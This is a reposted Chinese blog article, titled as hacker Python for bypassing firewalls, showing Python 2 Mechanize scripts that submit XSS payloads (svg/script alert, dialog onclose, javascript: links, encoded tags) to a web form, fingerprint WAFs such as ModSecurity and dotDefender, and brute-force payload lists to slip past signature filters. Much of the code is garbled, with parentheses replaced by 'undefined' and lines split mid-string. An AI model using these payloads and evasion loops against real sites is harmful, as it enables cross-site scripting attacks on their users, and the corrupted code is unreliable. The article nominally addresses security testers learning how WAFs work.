防火墙在程序员眼里不存在的!这就是黑客Python…

2018-08-06 09:14:00来源:博客园 阅读 ()

新老客户大回馈,云服务器低至5折

防火墙在程序员眼里不存在的!这就是黑客Python!绕过防火墙!

 

1. <script>

2. alert(*)

第一个签名将过滤任何包含<script>字符串的请求,第二个将过滤任何包含alert(*)字符串的请求。

如何判断目标环境是否部署防火墙?

防火墙在程序员眼里不存在的!这就是黑客Python!绕过防火墙!

 

当我们对一个系统进行渗透时,如果你忽略了防火墙的存在,那么就会为我们的测试带来诸多的麻烦。因此在开始真正的渗透之前,我们最好能先判断下目标系统是否存在WAF。那么我们该如何进行判断呢?我们还拿以上定义的payload来举例。在通常情况下,如果我们在一个部署有WAF的系统上执行以上payload,那么在http的响应中我们将能捕获到WAF留下的轨迹:

进群:125240963   即可获取数十套PDF哦!

防火墙在程序员眼里不存在的!这就是黑客Python!绕过防火墙!

 

步骤2:准备恶意请求!

为了检测防火墙的存在与否,第二步我们需要创建一个会被防火墙阻止的恶意跨站脚本请求。这里我将用到一个名为“Mechanize”的python模块.

Automate Cross Site Scripting (XSS) attack using Beautiful Soup and Mechanize

如果你已经了解了Mechanize模块,可以跳过此文章的阅读。现在,我们就可以对任意页面提供的Web表单发起请求了。实现代码如下:

import mechanize as mec

maliciousRequest = mec.Browser()

formName = 'waf'

maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.

html")

maliciousRequest.select_form(formName)

防火墙在程序员眼里不存在的!这就是黑客Python!绕过防火墙!

 

步骤3:准备payload

在HTML文档中我们定义了一个名为’data’的输入字段:

input type="text" name="data"><br>

因此,我们可以使用以下代码来提交我们的payload:

crossSiteScriptingPayLoad = "<svg><script>alert&grave;1&grave;

<p>"maliciousRequest.form['data'] = crossSiteScriptingPayLoad

防火墙在程序员眼里不存在的!这就是黑客Python!绕过防火墙!

 

可以看到payload被打印在了HTML文档中,这也说明应用程序代码中没有任何的过滤机制,并且由于没有防火墙的保护,我们的恶意请求也未被阻止。

步骤5:防火墙部署检测

变量’response’中包含了从服务器获取的响应信息,也是我们判断目标环境是否部署防火墙的重要依据。下面,我们将针对以下几款防火墙进行检测。

防火墙在程序员眼里不存在的!这就是黑客Python!绕过防火墙!

 

使用暴力测试攻击绕过防火墙过滤器

在文章开头我就说过,如今的大多数防护墙都是基于签名来过滤我们的请求流量的。但是,这并不意味着我们就拿它没办法了。随着Javascript的日趋复杂,我们可以用它来构建数千种的payload并逐一进行尝试,以绕过防火墙的检测。需要说明的是如果防护墙规则被明确定义,那么该方法可能会失效。下面让我们使用python脚本,来帮助我们完成暴力测试攻击:

listofPayloads = ['<dialog open="" onclose="alertundefined1)">

<form method="dialog"><button>Close me!</button><

/form></dialog>', '<svg><script>prompt(

1)<i>', '<a href="javascript:alertundefined1)"

>CLICK ME<a>']

for payLoads in listofPayloads:

maliciousRequest = mec.Browserundefined)

formName = 'waf'

maliciousRequest.openundefined"http://check.cyberpersons.com/cross

SiteCheck.html")

maliciousRequest.select_formundefinedformName)

maliciousRequest.form['data'] = payLoads

maliciousRequest.submitundefined)

response = maliciousRequest.responseundefined).readundefined)

if response.findundefined'WebKnight') >= 0:

print "Firewall detected: WebKnight"

elif response.findundefined'Mod_Security') >= 0:

print "Firewall detected: Mod Security"

elif response.findundefined'Mod_Security') >= 0:

print "Firewall detected: Mod Security"

elif response.findundefined'dotDefender') >= 0:

print "Firewall detected: Dot Defender"

else:

print "No Firewall Present"

防火墙在程序员眼里不存在的!这就是黑客Python!绕过防火墙!

 

listofPayloads = ['<b>','\u003cb\u003e','\x3cb\x3e']

for payLoads in listofPayloads:

maliciousRequest = mec.Browser()

formName = 'waf'

maliciousRequest.open("http://check.cyberpersons.com/crossSite

Check.html")

maliciousRequest.select_form(formName)

maliciousRequest.form['data'] = payLoads

maliciousRequest.submit()

response = maliciousRequest.response().read()

print "---------------------------------------------------"

print response

print "---------------------------------------------------"

我的输出结果如下:

防火墙在程序员眼里不存在的!这就是黑客Python!绕过防火墙!

 

从结果可以看到,并没有编码的条目被转换为其原始格式。

总结

通过本文的介绍,相信大家已经对防火墙有了一个基本的了解和认识。作为一名安全测试人员,了解和掌握防火墙的工作机制是非常必要的。而对于企业而言,更不能忽视了安全的重要性。

 

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:如何用Jupyter notebook打开本地数据集

下一篇:网上都没有提到的教程:python捕获异常后,怎么输出错误文件和行